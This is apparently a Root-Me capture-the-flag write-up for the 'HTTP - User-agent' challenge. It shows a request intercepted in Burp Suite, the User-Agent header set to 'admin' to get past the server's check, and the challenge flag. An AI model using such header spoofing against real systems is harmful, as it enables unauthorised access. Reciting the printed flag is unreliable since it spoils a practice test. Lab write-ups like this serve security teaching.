> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/root-me/web-server/http-user-agent.md).

# HTTP - User-agent

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F8yZtvV81oIQbeWX2HzJr%2F1.png?alt=media&amp;token=dd0c656e-f312-45fb-98c9-14b935586b1d" alt=""><figcaption></figcaption></figure>

Let's intercept the request using Burpsuite so that we can modify it.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F7UX8NfQKt28J7uYeIRe1%2F2.png?alt=media&amp;token=8c1952a9-e6e3-4849-bcf3-e3b2c6837d80" alt=""><figcaption></figcaption></figure>

We can now send the request to `Repeater`.&#x20;

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FubbnWb0xruE5WmKrttZx%2F3.png?alt=media&amp;token=2188c032-d2cd-423d-98fa-b7c57020d2cc" alt=""><figcaption></figcaption></figure>

## User-Agent

The **User-Agent** request header is a characteristic string that lets servers and network peers identify the application, browser used to make the request.

We have to modify it to `admin`.

## HTTP Request

```
GET /web-serveur/ch2/ HTTP/1.1
Host: challenge01.root-me.org
User-Agent: admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: _ga_SRYSKX09J7=GS1.1.1697381490.9.1.1697381491.0.0.0; _ga=GA1.1.1863804672.1697290591
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
```

Finally, we have to send the request to the server.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F9HaV7YfsXQWTfLbU1COy%2F4.png?alt=media&amp;token=53827805-8f3a-4fa1-a332-f8dde482e51b" alt=""><figcaption></figcaption></figure>

## Flag

```
rr$Li9%L34qd1AAe27
```
